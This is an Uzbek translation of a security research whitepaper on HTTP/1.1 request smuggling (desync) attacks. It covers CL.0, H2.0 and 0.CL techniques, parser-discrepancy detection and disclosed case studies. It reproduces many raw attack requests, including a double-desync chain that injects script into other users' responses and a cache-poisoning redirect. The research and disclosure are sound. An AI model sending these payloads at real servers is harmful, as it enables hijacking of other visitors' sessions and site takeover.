logo

HTTP/1.1 o'lishi kerak: desync yakuniy o'yini

James Kettle

James Kettle

Tadqiqot direktori

@albinowax
Chop etilgan: Chorshanba, 6-avgust 2025, 22:20 UTCYangilangan: Juma, 17-oktabr 2025, 10:13 UTC

Annotatsiya

Upstream (yuqori oqim) HTTP/1.1 o'z tabiatiga ko'ra xavfsiz emas va muntazam ravishda millionlab veb-saytlarni butunlay egallab olinish xavfi ostida qoldiradi. Olti yil davomida qo'llanilgan yumshatish choralari muammoni yashirdi, ammo uni hal qila olmadi.

Ushbu maqolada foydalanuvchi hisob ma'lumotlarini ommaviy ravishda qo'lga kiritishga qodir bo'lgan bir nechta yangi HTTP desync hujum sinflari taqdim etiladi. Bu texnikalar batafsil amaliy misollar (case study) orqali namoyish qilinadi, jumladan Akamai, Cloudflare va Netlify ning asosiy infratuzilmasini buzib, o'nlab millionlab veb-saytni xavf ostida qoldirgan kritik zaifliklar.

Shuningdek, men parser nomuvofiqliklarini (parser discrepancy) va nishonga xos zaif nuqtalarni tizimli tarzda aniqlash imkonini beruvchi ochiq kodli toolkit'ni taqdim etaman. Ushbu toolkit va bu texnikalar birgalikda ikki hafta ichida $200,000 dan ortiq bug bounty mukofotini keltirdi.

Pirovard natijada men HTTP request smuggling (so'rov kontrabandasi) ni protokolning fundamental nuqsoni sifatida tan olish kerak, deb hisoblayman. So'nggi olti yil shuni ko'rsatdiki, alohida implementatsiya muammolarini hal qilish bu tahdidni hech qachon yo'q qila olmaydi. Mening topilmalarim xabar qilinib, patch qilingan bo'lsa-da, veb-saytlar kelajakda muqarrar ravishda paydo bo'ladigan variantlar oldida jimgina zaif bo'lib qolmoqda. Bularning barchasi HTTP/1.1 dagi halokatli nuqsondan kelib chiqadi va bu nuqson tufayli implementatsiyadagi kichik xatolar tez-tez og'ir xavfsizlik oqibatlariga olib keladi. HTTP/2+ bu tahdidni hal qiladi. Agar biz xavfsiz veb'ni istasak, HTTP/1.1 o'lishi kerak.

E'tibor bering, kengroq auditoriyaga mo'ljallangan qisqacha xulosa va FAQ ni http1mustdie.com saytida topishingiz mumkin. Shuningdek, ma'ruza slaydlari ni va ushbu whitepaper'ning chop etishga tayyor PDF shaklini olishingiz mumkin. Quyida DEFCON'dagi taqdimot yozuvi keltirilgan:

Mana, DEF CON'dagi taqdimot yozuvi:

Mundarija

Desync yakuniy bosqichi

HTTP/1.1 dagi halokatli nuqson

HTTP/1.1 da halokatli va juda oson ekspluatatsiya qilinadigan nuqson bor - alohida HTTP so'rovlari orasidagi chegaralar juda kuchsiz. So'rovlar hech qanday ajratuvchisiz, oddiygina, asosdagi TCP/TLS soketida ketma-ket ulanadi va ularning uzunligini ko'rsatishning bir nechta usuli mavjud. Bu esa hujumchilarga bir so'rov qayerda tugab, keyingisi qayerdan boshlanishi haqida o'ta katta noaniqlik yaratish imkonini beradi. Yirik veb-saytlar ko'pincha reverse proxy'lardan foydalanadi, ular turli foydalanuvchilarning so'rovlarini umumiy ulanishlar hovuzi (connection pool) orqali back-end serverga yo'naltiradi. Bu shuni anglatadiki, server zanjirida eng kichik parser nomuvofiqligini topgan hujumchi desync keltirib chiqarishi, boshqa foydalanuvchilarning so'rovlariga zararli prefiks qo'shishi va odatda saytni to'liq egallab olishi mumkin:

Desync hujumi kontseptsiyasi: front-end va back-end o'rtasidagi umumiy ulanishda zararli prefiks

HTTP/1.1 - qadimiy, o'ta yumshoq (lenient) va matnga asoslangan protokol bo'lib, minglab implementatsiyaga ega bo'lgani uchun parser nomuvofiqliklarini topish qiyin emas. Men bu tahdidni 2019-yilda birinchi marta kashf etganimda, xohlagan narsani buzish mumkindek tuyulgandi. Masalan, men buni PayPal'ning login sahifasini buzish uchun ikki marta ishlatish mumkinligini ko'rsatgandim. O'shandan beri biz request smuggling bo'yicha bepul onlayn kurs va bir nechta qo'shimcha tadqiqot maqolalari ni ham chop etdik. Agar keyinroq texnik tafsilotlarda adashib qolsangiz, bularga qaytib murojaat qilish foydali bo'lishi mumkin.

Olti yildan so'ng, parser'larni qattiqlashtirish va HTTP/2 - front-end'dan boshlab upstream ulanishlar uchun ishlatilsa, butun hujum sinfini deyarli yo'q qiladigan binar protokol - kombinatsiyasi tufayli muammoni hal qildik deb o'ylash oson. Afsuski, ma'lum bo'lishicha, biz faqat muammoni hal qilingandek ko'rsatishga erishganmiz, xolos.

Yashiradigan, ammo tuzatmaydigan yumshatish choralari

2025-yilda HTTP/1.1 hamma joyda - lekin ko'zga tashlanib turgan holda emas. Serverlar va CDN'lar ko'pincha HTTP/2 ni qo'llab-quvvatlashini da'vo qiladi, biroq aslida kiruvchi HTTP/2 so'rovlarini back-end tizimga uzatish uchun HTTP/1.1 ga tushiradi (downgrade), shu tariqa xavfsizlik afzalliklarining aksariyati yo'qoladi. Kiruvchi HTTP/2 xabarlarini downgrade qilish HTTP/1.1 ni boshdan-oxir ishlatishdan ham xavfliroq, chunki u xabar uzunligini ko'rsatishning to'rtinchi usulini kiritadi. Ushbu maqolada biz to'rtta asosiy uzunlik interpretatsiyasi uchun quyidagi qisqartmalardan foydalanamiz:

CL (Content-Length)
TE (Transfer-Encoding)
0 (Implicit-zero)
H2 (HTTP/2's built-in length)

HTTP/1.1 birinchi qarashda xavfsiz ko'rinishi mumkin, chunki agar siz dastlabki request smuggling metodologiyasi va toolkit'ini qo'llasangiz, desync keltirib chiqarish qiyin bo'ladi. Lekin nega bunday? Keling, yengil obfuskatsiya qilingan Transfer-Encoding sarlavhasidan foydalangan klassik CL.TE hujumini ko'rib chiqaylik. Bu hujumda biz front-end server so'rovni Content-Length sarlavhasi yordamida tahlil qilishini, so'ng so'rovni uzunlikni Transfer-Encoding sarlavhasi orqali hisoblaydigan back-end'ga uzatishini umid qilamiz.

POST / HTTP/1.1
Host: <redacted>
Transfer-Encoding : chunked
Content-length: 35

0

GET /robots.txt HTTP/1.1
X: y

HTTP/1.1 200 OK

Mana simulyatsiya qilingan qurbon:

GET / HTTP/1.1
Host: example.com

HTTP/1.1 200 OK

Disallow: /

Ilgari bu juda ko'p veb-saytlarda ishlar edi. Hozirgi kunda esa, nishoningiz haqiqatan zaif bo'lsa ham, probe uchta sababdan biri tufayli muvaffaqiyatsiz tugashi ehtimoli katta:

  • WAF'lar endi obfuskatsiya qilingan Transfer-Encoding sarlavhali so'rovlarni yoki tanadagi potensial HTTP so'rovlarini aniqlash va bloklash uchun regex'lardan foydalanadi.
  • /robots.txt aniqlash gadget'i aynan sizning nishoningizda ishlamaydi.
  • Server tomonida race condition mavjud bo'lib, u ushbu texnikani ayrim nishonlarda o'ta ishonchsiz qiladi.

Mening oldingi tadqiqotimda muhokama qilingan muqobil, timeout'ga asoslangan aniqlash strategiyasi ham WAF'lar tomonidan keng ko'lamda fingerprint qilinadi va bloklanadi.

Bu esa desync endgame'ni yuzaga keltirdi - o'yinchoq darajasidagi yumshatish choralari va faqat mavjud aniqlash metodologiyasini buzishga xizmat qiladigan tanlab qattiqlashtirish tufayli sizda xavfsizlik illyuziyasi paydo bo'ladi. Siz eng kichik o'zgartirish kiritmaguningizcha hamma narsa xavfsiz ko'rinadi.

Aslida esa HTTP/1.1 implementatsiyalari kritik zaifliklar bilan shu qadar zich to'lganki, ularni tom ma'noda tasodifan topib olishingiz mumkin.

Tasodifan 20 million veb-saytni buzish

HTTP/1.1 har bir muammoni yana bitta qatlam qo'shish orqali hal qiladigan dunyoga oddiygina mos emas. Quyidagi amaliy misol buni ajoyib tarzda ko'rsatib beradi.

Wannes Verwimp Cloudflare ortida, Heroku'da joylashgan saytga taalluqli topgan muammosi bo'yicha mening fikrimni so'radi. U H2.0 desync topgan va undan foydalanib tashrif buyuruvchilarni o'z veb-saytiga yo'naltira olgan edi.

GET /assets/icon.png HTTP/2
Host: <redacted>

GET /assets HTTP/1.1
Host: psres.net
X: y

HTTP/2 200 OK
Cf-Cache-Status: HIT
GET / HTTP/2
Host: <redacted>

HTTP/2 302 Found
Location: https://psres.net/assets/

Bu redirect Cloudflare keshiga saqlanardi, shuning uchun JavaScript fayl uchun kesh yozuvini zaharlash (cache poisoning) orqali u butun veb-sayt ustidan doimiy nazorat o'rnata oldi. Bularning bari bitta narsadan tashqari e'tiborsiz edi - o'g'irlanayotgan foydalanuvchilar nishon veb-saytga kirmoqchi ham emas edi. Hujum aslida tasodifiy uchinchi tomon saytlarini, jumladan ayrim banklarni ham buzayotgan edi!

Men tekshirishga rozi bo'ldim va yana bir g'alati narsani payqadim - hujum Cloudflare'ning front-end keshi tomonidan bloklanardi, ya'ni so'rov hech qachon back-end serverga yetib bormas edi. Bu hujum hech qanday yo'l bilan ishlashi mumkin emas, Wannes xato qilgan bo'lsa kerak, deb o'yladim va cache-buster qo'shdim... va hujum ishlamay qoldi. Cache-buster'ni olib tashlaganimda esa u yana ishlay boshladi.

Hujumi kesh tomonidan bloklanayotganiga e'tibor bermagani tufayli Wannes Cloudflare infratuzilmasi ichidagi HTTP/1.1 desync'ini kashf etgan edi:

Cloudflare infratuzilmasi ichidagi HTTP/1.1 desync sxemasi

Bu topilma 24,000,000 dan ortiq veb-saytni butunlay egallab olinish xavfi ostida qoldirdi! U desync endgame'ning mohiyatini aks ettiradi - klassik metodologiya ishlamaydi, biroq HTTP/1 asosida qurilgan tizimlar shu qadar murakkab va kritikki, siz bitta xato qilib, 24 million veb-sayt ustidan nazorat qo'lga kiritishingiz mumkin.

Biz bu muammoni xabar qildik va Cloudflare uni bir necha soat ichida patch qildi, post-mortem chop etdi va $7,000 mukofot berdi.

Bug bounty bilan tanish bo'lmagan o'quvchilar ushbu whitepaper davomida ta'sir darajasiga nisbatan to'langan mukofotlardan hayratda qolishlari mumkin, biroq olingan mukofotlarning aksariyati tegishli dasturda e'lon qilingan maksimal to'lovga yaqin edi. Mukofot hajmi asosdagi iqtisodiyotning natijasi bo'lib, haqiqatan kutilmagan mukofot holatlari alohida ta'kidlab o'tiladi.

"HTTP/1 oddiy" va boshqa yolg'onlar

Bunday bug qanday yuzaga keladi? Qisman bu ishtirok etayotgan tizimlarning nihoyatda murakkabligidan. Masalan, biz Cloudflare'ga HTTP/2 orqali yuborilgan so'rovlar ba'zan ichki foydalanish uchun HTTP/1.1 ga qayta yozilishini, so'ngra upstream ulanish uchun yana HTTP/2 ga qayta yozilishini taxmin qilishimiz mumkin! Biroq asosiy muammo - poydevorning o'zida.

HTTP/1.1 siz qurmoqchi bo'lgan har qanday tizim uchun mustahkam poydevor degan keng tarqalgan va xavfli noto'g'ri tushuncha bor. Xususan, reverse proxy yozib ko'rmagan odamlar ko'pincha HTTP/1.1 oddiy, demak xavfsiz deb bahslashadi. HTTP/1.1 ni proxy qilishga urinishingiz bilanoq, u ancha kam "oddiy" bo'lib qoladi. Buni ko'rsatish uchun mana men shaxsan ishongan beshta yolg'on - ularning har biri ushbu maqolada keyinroq muhokama qilinadigan real ekspluatatsiya uchun hal qiluvchi ahamiyatga ega bo'ladi

  • Yolg'on 1: HTTP/1.1 so'rovi oraliq tugunni (intermediary) bevosita nishonga ololmaydi
  • Yolg'on 2: HTTP/1.1 desync'i faqat parser nomuvofiqligi tufayli yuzaga kelishi mumkin
  • Yolg'on 3: HTTP/1.1 javobi proxy uni tahlil qilishi uchun zarur bo'lgan hamma narsani o'z ichiga oladi
  • Yolg'on 4: HTTP/1.1 javobi faqat bitta sarlavha blokini o'z ichiga olishi mumkin
  • Yolg'on 5: To'liq HTTP/1.1 javobi to'liq so'rovni talab qiladi

Qaysilariga ishongan edingiz? Har bir da'voni uni puchga chiqaradigan xususiyat bilan bog'lay olasizmi?

Umumlashtirsak, oxirgi uchta yolg'on ortidagi haqiqat shuki: proxy'ingiz back-end'dan TCP soketdan javobning to'g'ri bayt sonini o'qish uchungina so'rov obyektiga havolaga muhtoj bo'ladi; javob tanasiga yetib bormasdan avvalo bir nechta sarlavha blokini qayta ishlash uchun control-flow tarmoqlanishlari kerak bo'ladi; va butun javob mijoz sizga so'rovni yuborib bo'lishidan oldin ham kelib qolishi mumkin.

Mana shu HTTP/1.1 - veb'ning poydevori bo'lib, muntazam ravishda millionlab veb-saytni xavf ostida qoldiradigan murakkabliklar va tuzoqlarga to'la, va biz olti yil davomida implementatsiyalarni patch qilib buni qoplashga urinib, muvaffaqiyatsizlikka uchradik. U o'lishi kerak. Buni amalga oshirish uchun biz jamoa bo'lib dunyoga HTTP/1.1 xavfsiz emasligini - xususan, yangi desync hujumlari doim kelishini - ko'rsatishimiz kerak.

Maqolaning qolgan qismida men buni qanday qilishni ko'rsatishga umid qilaman.

Barcha amaliy misollar zaiflik oshkor qilish dasturlariga (VDP) ega bo'lgan nishonlarda ruxsat etilgan testlash orqali aniqlangan hamda maxfiy tarzda xabar qilinib, patch qilingan (agar boshqacha aytilmagan bo'lsa). VDP shartlari va qoidalarining oqibati sifatida ularning ko'pchiligi qisman yashirilgan (redacted), garchi muammolar aslida tuzatilgan bo'lsa ham. Kompaniya nomi ochiq keltirilgan joylarda bu ularning xavfsizlik dasturi yetukroq ekanidan dalolat beradi.

Ushbu tadqiqot davomida olingan barcha mukofotlar ishtirokchilar o'rtasida teng taqsimlandi, mening ulushim esa PortSwigger tomonidan ikki barobarga oshirilib, mahalliy xayriya tashkilotiga topshirildi.

Desync endgame'da g'alaba qozonish strategiyasi

Parser nomuvofiqliklarini aniqlash

Desync endgame sharoitida yumshatish choralari, murakkablik va g'alatiliklar tufayli zaifliklarni aniqlash qiyin. Bunday muhitda muvaffaqiyat qozonish uchun bizga ko'plab harakatlanuvchi qismlarga ega mo'rt hujumlarni sinab ko'rish o'rniga, desync hujumlarini mumkin qiladigan asosiy nuqsonlarni ishonchli aniqlaydigan strategiya kerak. Bu bizga ekspluatatsiya qiyinchiliklarini tanib olish va yengish imkonini beradi.

Yana 2021-yilda Daniel Thacher Black Hat Europe'da Practical HTTP Header Smuggling ma'ruzasini taqdim etib, Content-Length sarlavhasi yordamida parser nomuvofiqliklarini aniqlash yondashuvini tasvirlab bergan edi. Bu g'oya menga shu qadar yoqdiki, uning asbobini sinab ko'rganimdan so'ng, o'z implementatsiyamni noldan qurishga, ba'zi narsalarni biroz boshqacha qilishga va nima bo'lishini ko'rishga qaror qildim.

Bu asbob juda samarali bo'lib chiqdi va men uni ochiq kodli Burp Suite kengaytmasi HTTP Request Smuggler v3.0 sifatida chiqarayotganimdan mamnunman. Quyida tahlil uchun ishlatiladigan uchta asosiy element va mumkin bo'lgan natijalarning umumiy ko'rinishi keltirilgan:

HTTP Request Smuggler: tahlilning uchta asosiy elementi va mumkin bo'lgan natijalar

V-H va H-V nomuvofiqliklarini tushunish

Keling, real aniqlash natijasini va uni qanday talqin qilishni ko'rib chiqaylik:

GET / HTTP.1.1
Host: <redacted-food-corp>   ->   HTTP/1.1 200 OK
Xost: <redacted-food-corp>   ->   HTTP/1.1 503 Service Unavailable
 Host: <redacted-food-corp>   ->   HTTP/1.1 400 Bad Request
 Xost: <redacted-food-corp>   ->   HTTP/1.1 503 Service Unavailable

Bu yerda HTTP Request Smuggler qisman yashirilgan Host sarlavhasi bilan so'rov yuborish o'ziga xos javob keltirib chiqarishini aniqladi - bunday javobni oddiy Host sarlavhasi yuborish, sarlavhani umuman tushirib qoldirish yoki ixtiyoriy niqoblangan sarlavha yuborish orqali hosil qilib bo'lmaydi. Bu nishon ishlatayotgan server zanjirida parser nomuvofiqligi borligining kuchli dalilidir. Agar front-end va back-end bor deb faraz qilsak, ikkita asosiy ehtimol mavjud:

Visible-Hidden (V-H): Niqoblangan Host sarlavhasi front-end'ga ko'rinadi, ammo back-end'dan yashiringan

Hidden-Visible (H-V): Niqoblangan Host sarlavhasi front-end'dan yashiringan, ammo back-end'ga ko'rinadi

Javoblarga diqqat bilan e'tibor berib va ular front-end'dan yoki back-end'dan kelganini taxmin qilib, ko'pincha V-H va H-V nomuvofiqliklarini bir-biridan ajratishingiz mumkin. E'tibor bering, aniq status kodlarning ahamiyati yo'q va ular ba'zan chalg'itishi mumkin. Muhimi - ular bir-biridan farq qilishi. Bu topilma V-H nomuvofiqligi bo'lib chiqdi.

V-H nomuvofiqligini CL.0 desync'ga aylantirish

V-H nomuvofiqligi berilganda, siz Transfer-Encoding sarlavhasini back-end'dan yashirib TE.CL ekspluatatsiyasini sinab ko'rishingiz yoki Content-Length sarlavhasini yashirib CL.0 ekspluatatsiyasini sinashingiz mumkin. Men iloji boricha CL.0 dan foydalanishni qattiq tavsiya qilaman, chunki uni WAF bloklashi ancha kam ehtimolli. Yuqoridagisi ham kiradigan ko'plab V-H nishonlarida ekspluatatsiya oddiy bo'ldi:

GET /style.css HTTP/1.1
Host: <redacted-food-corp>
Foo: bar
 Content-Length: 23

GET /404 HTTP/1.1
X: y

HTTP/1.1 200 OK
GET / HTTP/1.1
Host: <redacted-food-corp>

HTTP/1.1 404 Not Found

Boshqa bir nishonda yuqoridagi ekspluatatsiya ishlamadi, chunki front-end server tanaga ega GET so'rovlarini rad etardi. Men buni metodni OPTIONS ga almashtirish orqali oddiygina aylanib o'tdim. Aynan shunday to'siqlarni payqash va ularni aylanib o'tish qobiliyati parser nomuvofiqliklarini skanerlashni shunchalik foydali qiladi.

Men bu nishonda to'liq "qurollantirilgan" PoC yaratishga vaqt sarflamadim, chunki kam to'laydigan bounty dasturlari va VDP'lar uchun bu iqtisodiy jihatdan maqsadga muvofiq emas.

Aniqlash strategiyalari

Turli sarlavhalar, permutatsiyalar va strategiyalarni birlashtirib, asbob yuqori qamrovga erishadi. Masalan, mana bir topilma: o'sha sarlavha (Host) va o'sha permutatsiya (sarlavha nomidan oldin bo'sh joy) ishlatilgan, lekin strategiya boshqacha (noto'g'ri qiymatli takroriy Host):

POST /js/jquery.min.js
Host: <vpn.redacted>
Host: x/x   ->   HTTP/1.1 400 Bad Request
Xost: x/x   ->   HTTP/1.1 412 Precondition Failed
 Host: x/x   ->   HTTP/1.1 200 OK
 Xost: x/x   ->   HTTP/1.1 412 Precondition Failed

Bu nishonni ham CL.0 desync yordamida ekspluatatsiya qilish oson bo'ldi. Mening tajribamda veb VPN'lar ko'pincha nuqsonli HTTP implementatsiyalariga ega va men ularni har qanday reverse proxy ortiga qo'yishdan qat'iy ravishda saqlanishni maslahat beraman.

Yuqori xavfli parsing'ni aniqlash

Nomuvofiqlik aniqlash yondashuvi qabul qilingan parsing konvensiyalaridan chetga chiqadigan va shu sababli reverse proxy ortiga qo'yilsa zaif bo'lishi ehtimoli yuqori bo'lgan serverlarni ham aniqlay oladi. Masalan, <redacted> serverini skanerlash ular \n\n ni sarlavha blokini yakunlovchi deb hisoblamasligini ko'rsatdi:

POST / HTTP/1.1\r\n
Content-Length: 22\r\n
A: B\r\n
\nExpect: 100-continue\r\n

HTTP/1.1 100 Continue

HTTP/1.1 302 Found
Server: <redacted>

To'g'ridan-to'g'ri kirishda bu zararsiz, biroq RFC-9112 da "qabul qiluvchi yakka LF ni satr yakunlovchisi sifatida tan olishi MUMKIN" deyilgan. Bunday front-end ortida bu ekspluatatsiya qilinardi. Ushbu zaiflik asosdagi HTTP kutubxonasiga borib taqaldi va patch yo'lda. Bunday nazariy topilmalar haqida xabar berish sizga katta bug bounty to'lovlarini keltirishi dargumon, lekin ekotizimni xavfsizroq qilish uchun ancha ko'p ish qilishi mumkin.

ALB ortidagi IIS'da H-V dan foydalanish

HTTP Request Smuggler shuningdek AWS Application Load Balancer (ALB) ortida Microsoft IIS ishlatuvchi juda ko'p zaif tizimni aniqladi. Buni tushunib olish foydali, chunki AWS uni patch qilishni rejalashtirmayapti. Aniqlash odatda quyidagicha ko'rinadi:

Host: foo/bar   ->   400, Server; awselb/2.0
Xost: foo/bar   ->   200, -no server header-
Host : foo/bar   ->   400, Server: Microsoft-HTTPAPI/2.0
Xost : foo/bar   ->   200, -no server header-

Server bannerlaridan xulosa qilishingiz mumkinki, bu H-V nomuvofiqligi: noto'g'ri shakllangan Host sarlavhasi obfuskatsiya qilinganda ALB uni ko'rmaydi va so'rovni back-end serverga o'tkazib yuboradi.

H-V nomuvofiqligini ekspluatatsiya qilishning klassik usuli - CL.TE desync, chunki Transfer-Encoding sarlavhasi odatda Content-Length'dan ustun turadi, ammo buni AWS'ning Desync Guardian bloklaydi. Men boshqa topilmalarga e'tibor qaratish uchun bu masalani vaqtincha chetga surishga qaror qildim, keyin Thomas Stacey uni mustaqil ravishda kashf etdi va H2.TE desync yordamida Desync Guardian'ni chetlab o'tdi.

H2.TE chetlab o'tish yo'li tuzatilgan bo'lsa ham, hujumchilar buni sarlavhalarni kontrabanda qilish uchun ishlatishlari mumkin, bu esa IP-spoofing va ba'zan to'liq autentifikatsiyani chetlab o'tish imkonini beradi.

Men bu muammoni AWS'ga xabar qildim va ma'lum bo'lishicha, ular allaqachon xabardor ekan, biroq noto'g'ri shakllangan so'rov yuboradigan eski HTTP/1 mijozlari bilan moslikni buzishni istamagani uchun uni patch qilmaslikka qaror qilgan. Siz ikkita sozlamani o'zgartirib, uni o'zingiz patch qilishingiz mumkin:

routing.http.drop_invalid_header_fields.enabled ni yoqing

routing.http.desync_mitigation_mode = strictest qilib qo'ying

Bu tuzatilmagan topilma bulut proxy'larining e'tibordan chetda qolgan xavfini ochib beradi: ularni joriy qilish boshqa kompaniyaning texnik qarzini bevosita sizning xavfsizlik holatingizga import qiladi.

Transfer-Encoding'siz H-V dan foydalanish

Ushbu tadqiqotdagi keyingi yirik yutuq men barcha Transfer-Encoding'li so'rovlarni bloklaydigan bir veb-saytda H-V nomuvofiqligini topganimda yuz berdi - bu CL.TE hujumlarini imkonsiz qilardi. Oldinga yagona yo'l bor edi: 0.CL desync hujumi.

0.CL desync hujumlari

0.CL deadlock

0.CL desync hujumlari keng doirada ekspluatatsiya qilib bo'lmaydigan deb hisoblanadi. Nega bunday ekanini tushunish uchun H-V parser nomuvofiqligiga ega nishonga quyidagi hujumni yuborsangiz nima bo'lishini ko'rib chiqing:

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
 7

GET /404 HTTP/1.1
X: Y

Front-end Content-Length sarlavhasini ko'rmaydi, shuning uchun u to'q sariq payload'ni ikkinchi so'rovning boshlanishi deb hisoblaydi. Ya'ni u to'q sariq payload'ni buferlaydi va back-end'ga faqat sarlavha blokini uzatadi:

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
 7

HTTP/1.1 504 Gateway Timeout

Back-end esa Content-Length sarlavhasini ko'radi, shuning uchun u tananing kelishini kutadi. Shu vaqtning o'zida front-end back-end javob berishini kutadi. Oxir-oqibat serverlardan biri timeout'ga uchraydi va ulanishni uzadi, natijada hujum buziladi. Mohiyatan, 0.CL desync hujumlari odatda upstream ulanishda deadlock bilan yakunlanadi.

0.CL deadlock'ni buzish

Ushbu tadqiqotdan oldin men ikki yil davomida race condition'lar va timing hujumlarini o'rgangan edim. Shu jarayonda men 0.CL deadlock uchun yechimga duch keldim.

nginx ishlayotgan nishonda statik faylga single-packet attack ni qo'llamoqchi bo'lganimda, nginx so'rov tugamasdan oldin unga javob berib, mening vaqt o'lchovimni buzardi. O'sha paytda bu chalkash vaqtinchalik yechimni talab qilgan edi, biroq 0.CL ni ekspluatatsiya qilinadigan qilish yo'liga ishora bergandi.

0.CL deadlock'dan qutulishning kaliti - early-response gadget topish: back-end serverni tananing kelishini kutmasdan so'rovga javob berishga majburlash usuli. nginx'da bu oson, biroq mening nishonimda IIS ishlar edi va statik fayl hiylasi u yerda ishlamadi. Xo'sh, IIS'ni tananing kelishini kutmasdan so'rovga javob berishga qanday ko'ndirish mumkin? Keling, Windows hujjatlaridagi eng sevimli parchamga qaraylik:

"Fayl nomi sifatida quyidagi zahiralangan nomlardan foydalanmang: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7..."

Agar siz zahiralangan nom bilan faylga yoki papkaga murojaat qilmoqchi bo'lsangiz, operatsion tizim kulgili eski (legacy) sabablarga ko'ra istisno (exception) tashlaydi. Serverni bu g'alatilikka duch keltirish uchun fayl tizimiga bog'langan istalgan papka ichida oddiygina 'con' ni so'rash kifoya.

Men nishon veb-saytda /con ga murojaat qilsam, IIS tananing kelishini kutmasdan javob berishini va ulanishni ochiq qoldirishini aniqladim. CL.0 desync bilan birlashtirilganda bu ikkinchi so'rovning boshini birinchi so'rovning tanasi sifatida talqin qilishga, ya'ni 400 Bad Request javobiga olib kelardi. Mana foydalanuvchi nuqtayi nazaridan ko'rinish:

GET /con HTTP/1.1
Host: <redacted>
Content-Length:
 7

HTTP/1.1 200 OK
GET / HTTP/1.1
Host: <redacted>

HTTP/1.1 400 Bad Request

Va back-end ulanishidagi ko'rinish:

GET /con HTTP/1.1
Host: <redacted>
Content-Length:
 7

GET / HTTP/1.1
Host: <redacted>

Men /con g'alatiligi haqida o'n yildan ortiq vaqtdan beri bilardim, ammo bu birinchi marta undan amalda foydalana olganim bo'ldi! Shuningdek, so'nggi olti yil davomida shubhali 'Bad request' javoblarini shu qadar ko'p ko'rdimki, hatto HTTP Request Smuggler'da ularni Mystery 400 degan sirli nom bilan xabar qiladigan qildim. Aynan shu payt men ularning deyarli barchasi ekspluatatsiya qilinadigan bo'lishi mumkinligini angladim.

Boshqa serverlarda men server darajasidagi redirect'lar early-response gadget sifatida ishlashini aniqladim. Biroq Apache uchun hech qachon yaroqli gadget topa olmadim; ular xato holatiga duch kelganda ulanishni yopishga juda ham puxta amal qiladi.

400 Bad Request'dan nariga o'tish

0.CL desync topganingizni isbotlash uchun keyingi qadam - boshqarib bo'ladigan javob keltirib chiqarish. Hujum so'rovidan keyin sarlavha bloki ichiga joylashtirilgan ikkinchi yo'lni o'z ichiga olgan 'qurbon' so'rovini yuboring:

GET /con HTTP/1.1
Host: <redacted>
Content-Length:
 20

HTTP/1.1 200 OK
GET / HTTP/1.1
X: yGET /wrtz HTTP/1.1
Host: <redacted>

HTTP/1.1 302 Found
Location: /Logon?ReturnUrl=%2fwrtz

Agar birinchi so'rovning Content-Length'ini to'g'ri o'rnatsangiz, u qurbon so'rovining dastlabki baytlarini kesib tashlaydi va siz yashirin so'rov satri qayta ishlanganini bildiruvchi javobni ko'rasiz.

Bu 0.CL desync borligini isbotlash uchun yetarli, ammo bu aniq real hujum emas - biz qurbon o'z so'roviga payload qo'shadi deb faraz qila olmaymiz! Bizga payload'imizni qurbonning so'roviga qo'shish usuli kerak. Bizga 0.CL ni CL.0 ga aylantirish yo'li kerak.

Double-desync yordamida 0.CL ni CL.0 ga aylantirish

0.CL ni CL.0 ga aylantirish uchun bizga double-desync kerak! Bu ko'p bosqichli hujum bo'lib, unda hujumchi qurbon uchun tuzoq qo'yish maqsadida ketma-ket ikkita so'rovdan foydalanadi:

  • Birinchi so'rov ulanishni 0.CL desync bilan zaharlaydi
  • Zaharlangan ulanish ikkinchi so'rovni CL.0 desync'ga aylantiradi, u esa ulanishni zararli prefiks bilan qayta zaharlaydi
  • Zararli prefiks so'ngra qurbonning so'rovini zaharlaydi va zararli javob keltirib chiqaradi

Buni amalga oshirishning eng toza usuli - 0.CL orqali birinchi so'rovning butun sarlavha blokini kesib tashlash bo'lardi:

POST /nul HTTP/1.1
Content-length:
 163
POST / HTTP/1.1
Content-Length: 111

GET / HTTP/1.1
Host: <redacted>

GET /wrtz HTTP/1.1
Foo: bar

Afsuski, bu ko'rinishidek oson emas. Siz ikkinchi so'rovning sarlavha bloki aniq hajmini bilishingiz kerak, deyarli barcha front-end serverlar esa qo'shimcha sarlavhalar qo'shadi. Back-end tomonda yuqoridagi so'rovlar ketma-ketligi oxir-oqibat quyidagicha ko'rinadi:

POST /nul HTTP/1.1
Content-length:
 163

GET / HTTP/1.1
Content-Length: 111
??????: ???????????

--connection terminated--

Kiritilgan sarlavhalarning uzunligini Turbo Intruder uchun yangi 0cl-find-offset skripti yordamida aniqlashingiz mumkin, biroq ular ko'pincha mijoz IP'si kabi narsalarni o'z ichiga oladi, ya'ni hujum sizda ishlaydi, lekin boshqa birov uni takrorlamoqchi bo'lganda buziladi. Bu bug bounty triage'ini og'riqli qiladi.

Ko'p azob-uqubatdan so'ng men yaxshiroq yo'lni topdim. Aksariyat serverlar sarlavhalarni sarlavha blokining boshiga emas, oxiriga qo'yadi. Demak, agar bizning kontrabanda so'rovimiz undan oldin boshlansa, hujum ishonchli ishlaydi! Mana kiritilgan sarlavhani ochib beruvchi input reflection'dan foydalanadigan misol:

POST /nul HTTP/1.1
Content-length:
 92

HTTP/1.1 200 OK
GET /z HTTP/1.1
Content-Length: 180
Foo: GET /y HTTP/1.1
???: ???? // front-end header lands here

POST /index.asp HTTP/1.1
Content-Length: 201

<redacted>=zwrt

HTTP/1.1 200 OK
GET / HTTP/1.1
Host: <redacted>

Invalid input
  zwrtGET / HTTP/1.1
  Host:<redacted>
  Connection:keep-alive
  Accept-Encoding:identity

Shu nuqtadan boshlab biz an'anaviy CL.0 ekspluatatsiya texnikalaridan foydalanishimiz mumkin. Bu nishonda men tasodifiy foydalanuvchilarga zararli JavaScript yetkazish uchun HEAD texnikasidan foydalandim:

POST /nul HTTP/1.1
Host: <redacted>
Content-length:
 44

HTTP/1.1 200 OK
GET /aa HTTP/1.1
Content-Length: 150
Foo: GET /bb HTTP/1.1
Host: <redacted>

HEAD /index.asp HTTP/1.1
Host: <redacted>

GET /?<script>alert(1 HTTP/1.1
X: Y

HTTP/1.1 200 OK
Location: /Logon?returnUrl=/bb
GET / HTTP/1.1
Host: <redacted>

HTTP/1.1 200 OK
Content-Length: 56670
Content-Type: text/html

HTTP/1.1 302 Found
Location: /Logon?returnUrl=/<script>…

Ushbu texnikani o'zingiz bepul sinab ko'rishingiz mumkin - buning uchun yangi Web Security Academy laboratoriyamiz 0.CL Request Smuggling dan foydalaning.

